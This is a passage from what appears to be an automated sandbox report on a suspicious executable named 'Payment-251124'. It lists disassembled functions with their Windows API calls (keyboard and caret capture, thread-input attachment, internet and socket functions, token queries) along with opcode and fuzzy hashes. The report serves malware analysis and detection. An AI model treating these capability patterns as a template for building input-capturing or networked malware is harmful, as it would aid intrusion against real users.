                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: KeyboardState$InputMessagePostSend
                                                        • String ID:
                                                        • API String ID: 432972143-0
                                                        • Opcode ID: 1c9787c1bec99739b4595706d189ccac8c8dc92c1192712d32d7605ab4e0bf4f
                                                        • Instruction ID: 6318a2b5bf40cb34a9b4877af606e4bdd87ce9f72436ea7570aa578f7b720869
                                                        • Opcode Fuzzy Hash: 1c9787c1bec99739b4595706d189ccac8c8dc92c1192712d32d7605ab4e0bf4f
                                                        • Instruction Fuzzy Hash: 1D31F8B1E40258AEEF218B64CC197FD7BAD9B96328F04015AE881931D1C7788F45F761
                                                        Function 00EF4004 Relevance: 6.1, APIs: 4, Instructions: 96COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00EF4038
                                                        • __isleadbyte_l.LIBCMT ref: 00EF4066
                                                        • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 00EF4094
                                                        • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 00EF40CA
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                        • String ID:
                                                        • API String ID: 3058430110-0
                                                        • Opcode ID: f64fce4fa6982de990a43385436a15b4942262b28054c0a5c19cce497e5489b4
                                                        • Instruction ID: c63a6f35c91fea1e3ed68f57fd1f7eb91f0f41035747f459ecf5d9ea3ee56733
                                                        • Opcode Fuzzy Hash: f64fce4fa6982de990a43385436a15b4942262b28054c0a5c19cce497e5489b4
                                                        • Instruction Fuzzy Hash: C231EF7060020AAFDB219F24C844BBB7BE5BF40314F155028EB64AB0E1EB31D890DB92
                                                        Function 00F27CA5 Relevance: 6.1, APIs: 4, Instructions: 93COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetForegroundWindow.USER32 ref: 00F27CB9
                                                          • Part of subcall function 00F05F55: GetWindowThreadProcessId.USER32(?,00000000), ref: 00F05F6F
                                                          • Part of subcall function 00F05F55: GetCurrentThreadId.KERNEL32 ref: 00F05F76
                                                          • Part of subcall function 00F05F55: AttachThreadInput.USER32(00000000,?,00F0781F), ref: 00F05F7D
                                                        • GetCaretPos.USER32(?), ref: 00F27CCA
                                                        • ClientToScreen.USER32(00000000,?), ref: 00F27D03
                                                        • GetForegroundWindow.USER32 ref: 00F27D09
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                        • String ID:
                                                        • API String ID: 2759813231-0
                                                        • Opcode ID: c42447c8671c230cb5fb2cf94b2b56ead406443dbad7f4dd43884810ac662705
                                                        • Instruction ID: 80a071c9ec86719cd0f3e98d1d272b87f241eb861d59f463ae7d6ad1b4bebfb8
                                                        • Opcode Fuzzy Hash: c42447c8671c230cb5fb2cf94b2b56ead406443dbad7f4dd43884810ac662705
                                                        • Instruction Fuzzy Hash: 4A311E76900108AFDB00EFA5DC459EFFBF9EF94310B10946AE915E3211DA359E059BA0
                                                        Function 00F2F1D7 Relevance: 6.1, APIs: 4, Instructions: 80windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EDB34E: GetWindowLongW.USER32(?,000000EB), ref: 00EDB35F
                                                        • GetCursorPos.USER32(?), ref: 00F2F211
                                                        • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00F3E4C0,?,?,?,?,?), ref: 00F2F226
                                                        • GetCursorPos.USER32(?), ref: 00F2F270
                                                        • DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00F3E4C0,?,?,?), ref: 00F2F2A6
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Cursor$LongMenuPopupProcTrackWindow
                                                        • String ID:
                                                        • API String ID: 2864067406-0
                                                        • Opcode ID: b461a578bf4a680304742eaff21e8588f09be9ff87d23d856bc4274c04618274
                                                        • Instruction ID: 9ea299a3e69d65e122bf9951f5494135e390cd2adf6c2ca66ca684fef20b2314
                                                        • Opcode Fuzzy Hash: b461a578bf4a680304742eaff21e8588f09be9ff87d23d856bc4274c04618274
                                                        • Instruction Fuzzy Hash: EC217E39A10028EFCB159F94E858EFA7BB9FF0A720F184179F9059B2A1D7309951EB50
                                                        Function 00F1431C Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00F14358
                                                          • Part of subcall function 00F143E2: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00F14401
                                                          • Part of subcall function 00F143E2: InternetCloseHandle.WININET(00000000), ref: 00F1449E
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Internet$CloseConnectHandleOpen
                                                        • String ID:
                                                        • API String ID: 1463438336-0
                                                        • Opcode ID: dbad58b844b3adeb3b676e89c1f6035950cfcf1ff7e54346fd133d25aad084f0
                                                        • Instruction ID: 6f829e1f47d8dc482b961274dcf6790949a2987695356dc0656ceb136b4f895c
                                                        • Opcode Fuzzy Hash: dbad58b844b3adeb3b676e89c1f6035950cfcf1ff7e54346fd133d25aad084f0
                                                        • Instruction Fuzzy Hash: 8E21C636600605BFEB159F60DC00FFBBBA9FFD8710F10401AFA2596650D775A8A1BB90
                                                        Function 00F18A7F Relevance: 6.1, APIs: 4, Instructions: 69networkCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • select.WSOCK32(00000000,00000001,00000000,00000000,?), ref: 00F18AE0
                                                        • __WSAFDIsSet.WSOCK32(00000000,00000001), ref: 00F18AF2
                                                        • accept.WSOCK32(00000000,00000000,00000000), ref: 00F18AFF
                                                        • WSAGetLastError.WSOCK32(00000000), ref: 00F18B16
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ErrorLastacceptselect
                                                        • String ID:
                                                        • API String ID: 385091864-0
                                                        • Opcode ID: ebe7a0ddb2e121ea2de162172a2e11113a484ebd974a3754e11f446ccd7aafae
                                                        • Instruction ID: 14ef8847fc549560d3f8618f21acfb890bf8cfd721bc9e78099454fb3f16849b
                                                        • Opcode Fuzzy Hash: ebe7a0ddb2e121ea2de162172a2e11113a484ebd974a3754e11f446ccd7aafae
                                                        • Instruction Fuzzy Hash: 70219376A001249FC711DF68DD85ADEBBECEF9A350F00416AF849E7290DB749E819F90
                                                        Function 00F28A37 Relevance: 6.1, APIs: 4, Instructions: 69COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetWindowLongW.USER32(?,000000EC), ref: 00F28AA6
                                                        • SetWindowLongW.USER32(?,000000EC,00000000), ref: 00F28AC0
                                                        • SetWindowLongW.USER32(?,000000EC,00000000), ref: 00F28ACE
                                                        • SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00F28ADC
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Window$Long$AttributesLayered
                                                        • String ID:
                                                        • API String ID: 2169480361-0
                                                        • Opcode ID: cf45a73d5e14220eb53305887a582db896792d06c75ac5feeee2cfdffb0d8efa
                                                        • Instruction ID: 86873f87bfb8b683d931add2d93687f359c5e0e267d3e56c4f6137b105dac749
                                                        • Opcode Fuzzy Hash: cf45a73d5e14220eb53305887a582db896792d06c75ac5feeee2cfdffb0d8efa
                                                        • Instruction Fuzzy Hash: 6D11EE31306124AFDB04AB28DC05FBA77D9AF86320F14411EF916D72E1CF75AC029B90
                                                        Function 00F00AA6 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00F01E68: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,00F00ABB,?,?,?,00F0187A,00000000,000000EF,00000119,?,?), ref: 00F01E77
                                                          • Part of subcall function 00F01E68: lstrcpyW.KERNEL32(00000000,?,?,00F00ABB,?,?,?,00F0187A,00000000,000000EF,00000119,?,?,00000000), ref: 00F01E9D
                                                          • Part of subcall function 00F01E68: lstrcmpiW.KERNEL32(00000000,?,00F00ABB,?,?,?,00F0187A,00000000,000000EF,00000119,?,?), ref: 00F01ECE
                                                        • lstrlenW.KERNEL32(?,00000002,?,?,?,?,00F0187A,00000000,000000EF,00000119,?,?,00000000), ref: 00F00AD4
                                                        • lstrcpyW.KERNEL32(00000000,?,?,00F0187A,00000000,000000EF,00000119,?,?,00000000), ref: 00F00AFA
                                                        • lstrcmpiW.KERNEL32(00000002,cdecl,?,00F0187A,00000000,000000EF,00000119,?,?,00000000), ref: 00F00B2E
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: lstrcmpilstrcpylstrlen
                                                        • String ID: cdecl
                                                        • API String ID: 4031866154-3896280584
                                                        • Opcode ID: 639871470e28294665a2c0c2882ab854ac671a0da44bb026b1e732a9fe6c025c
                                                        • Instruction ID: 477a478d6a0a4532cbde6fc1503f467e7b3d5442252c118625f143df9c65b61c
                                                        • Opcode Fuzzy Hash: 639871470e28294665a2c0c2882ab854ac671a0da44bb026b1e732a9fe6c025c
                                                        • Instruction Fuzzy Hash: B6118E7A200305AFDB25AF24DC45E7A77A8FF85364F80406AE806CB290EF719851E7A1
                                                        Function 00EF2F96 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • _free.LIBCMT ref: 00EF2FB5
                                                          • Part of subcall function 00EE395C: __FF_MSGBANNER.LIBCMT ref: 00EE3973
                                                          • Part of subcall function 00EE395C: __NMSG_WRITE.LIBCMT ref: 00EE397A
                                                          • Part of subcall function 00EE395C: RtlAllocateHeap.NTDLL(015B0000,00000000,00000001,00000001,00000000,?,?,00EDF507,?,0000000E), ref: 00EE399F
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: AllocateHeap_free
                                                        • String ID:
                                                        • API String ID: 614378929-0
                                                        • Opcode ID: 3b77a88af92a787f13b6ea803bc6a94d68f749686fd55160e30181dd0978cb70
                                                        • Instruction ID: 7cb96c43833fc54da7e10c391df2ff01f6aab20296f111e818e7029786cd984b
                                                        • Opcode Fuzzy Hash: 3b77a88af92a787f13b6ea803bc6a94d68f749686fd55160e30181dd0978cb70
                                                        • Instruction Fuzzy Hash: 0C110A3260825EABCB313F71AC046797BD8AF54364F30652AFA49FA251DF30C9409790
                                                        Function 00F0058F Relevance: 6.1, APIs: 4, Instructions: 64registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 00F005AC
                                                        • LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00F005C7
                                                        • RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 00F005DD
                                                        • FreeLibrary.KERNEL32(?), ref: 00F00632
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Type$FileFreeLibraryLoadModuleNameRegister
                                                        • String ID:
                                                        • API String ID: 3137044355-0
                                                        • Opcode ID: e3318d2e97883306df17a76c80336a69d26e7c0b949307223dc741606b986880
                                                        • Instruction ID: f3f64adad5d1e28ecd290da10c651979580416387dd2c95581586039a1957b1a
                                                        • Opcode Fuzzy Hash: e3318d2e97883306df17a76c80336a69d26e7c0b949307223dc741606b986880
                                                        • Instruction Fuzzy Hash: 09217F71940209EFDB208F91DC88BEABBB9EF80704F008469E91692190DF75EA55FF51
                                                        Function 00F06713 Relevance: 6.1, APIs: 4, Instructions: 64fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00F06733
                                                        • _memset.LIBCMT ref: 00F06754
                                                        • DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 00F067A6
                                                        • CloseHandle.KERNEL32(00000000), ref: 00F067AF
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CloseControlCreateDeviceFileHandle_memset
                                                        • String ID:
                                                        • API String ID: 1157408455-0
                                                        • Opcode ID: 8f6d160e9641d7b1d8928ad8349fed98436b9de87c2005969697c6935bff730f
                                                        • Instruction ID: dd2282d647533f6250d016080afac49ae34a9182f5b8c6f91de1d1526016fca8
                                                        • Opcode Fuzzy Hash: 8f6d160e9641d7b1d8928ad8349fed98436b9de87c2005969697c6935bff730f
                                                        • Instruction Fuzzy Hash: 4D110A76D0122C7AE7205BA5AC4DFABBABCEF45B64F10419AF904E71C0D7704F809B64
                                                        Function 00EFB1CC Relevance: 6.1, APIs: 4, Instructions: 63memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EFAA62: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00EFAA79
                                                          • Part of subcall function 00EFAA62: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00EFAA83
                                                          • Part of subcall function 00EFAA62: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00EFAA92
                                                          • Part of subcall function 00EFAA62: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00EFAA99
                                                          • Part of subcall function 00EFAA62: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00EFAAAF
                                                        • GetLengthSid.ADVAPI32(?,00000000,00EFADE4,?,?), ref: 00EFB21B
                                                        • GetProcessHeap.KERNEL32(00000008,00000000), ref: 00EFB227
                                                        • HeapAlloc.KERNEL32(00000000), ref: 00EFB22E
                                                        • CopySid.ADVAPI32(?,00000000,?), ref: 00EFB247
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Heap$AllocInformationProcessToken$CopyErrorLastLength
                                                        • String ID:
                                                        • API String ID: 4217664535-0
                                                        • Opcode ID: ae9b4f2c7e8c42e5558f863520d77258a3763becb8c0f98c3e1843770bab6ade
                                                        • Instruction ID: df9b81e8bddc932f9a4dea4f0f4973331de337ad2d260eab7866fb0c4f8fa628
                                                        • Opcode Fuzzy Hash: ae9b4f2c7e8c42e5558f863520d77258a3763becb8c0f98c3e1843770bab6ade
                                                        • Instruction Fuzzy Hash: DF119475A0020DEFEB149F58DC95ABFB7A9EF95308F14902DEA46A7220D7319E44DB10
                                                        Function 00EFB478 Relevance: 6.1, APIs: 4, Instructions: 58windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageW.USER32(?,000000B0,?,?), ref: 00EFB498
                                                        • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00EFB4AA
                                                        • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00EFB4C0
                                                        • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00EFB4DB
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend
                                                        • String ID:
                                                        • API String ID: 3850602802-0
                                                        • Opcode ID: 1c6a61b58711d0988603ad84656515a5d5139816513c5ea14db2022c3e5a6fb7
                                                        • Instruction ID: 97d337a706220b3cf27ed42c3592e77ee5974ba210ee2e8595c6d84a3076dac3
                                                        • Opcode Fuzzy Hash: 1c6a61b58711d0988603ad84656515a5d5139816513c5ea14db2022c3e5a6fb7
                                                        • Instruction Fuzzy Hash: 76112A7A900218FFDB11DFA9C985EADBBB4FB08710F204091EA14B7295D771AE11DB94
                                                        Function 00EDB55D Relevance: 6.1, APIs: 4, Instructions: 56COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EDB34E: GetWindowLongW.USER32(?,000000EB), ref: 00EDB35F
                                                        • DefDlgProcW.USER32(?,00000020,?,00000000), ref: 00EDB5A5
                                                        • GetClientRect.USER32(?,?), ref: 00F3E69A
                                                        • GetCursorPos.USER32(?), ref: 00F3E6A4
                                                        • ScreenToClient.USER32(?,?), ref: 00F3E6AF
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Client$CursorLongProcRectScreenWindow
                                                        • String ID:
                                                        • API String ID: 4127811313-0
                                                        • Opcode ID: 26723917aa934a451a6535e3a7b6081489ab95e224291def5baa0601166010c8
                                                        • Instruction ID: c061b3c29035e146ea42fe61c8134dde1e403f0e608e5402ec992b7ff8c3c8f2
                                                        • Opcode Fuzzy Hash: 26723917aa934a451a6535e3a7b6081489ab95e224291def5baa0601166010c8
                                                        • Instruction Fuzzy Hash: 0211F535900029FBDF109F94E8469EE77B9EF19314F110456E941A6241E734AA92EBA1
                                                        Function 00F0732B Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetCurrentThreadId.KERNEL32 ref: 00F07352
                                                        • MessageBoxW.USER32(?,?,?,?), ref: 00F07385
                                                        • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00F0739B
                                                        • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00F073A2
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
                                                        • String ID:
                                                        • API String ID: 2880819207-0
                                                        • Opcode ID: 69af3936247c48ed1e5ae289a895c6733de6f5fb653ad744d83aeef91b972b49
                                                        • Instruction ID: 2d1606e2b951435d0c90aa15a3f4ab76aec4453aac629614bfab1e3fae53060b
                                                        • Opcode Fuzzy Hash: 69af3936247c48ed1e5ae289a895c6733de6f5fb653ad744d83aeef91b972b49
                                                        • Instruction Fuzzy Hash: F1110476E04208BFD711AFA8DC05AEE7BADAB45320F044395FD21D32A1D6709E00B7A1
                                                        Function 00EDD17C Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON
                                                        Download Yara Rule
                                                        APIs
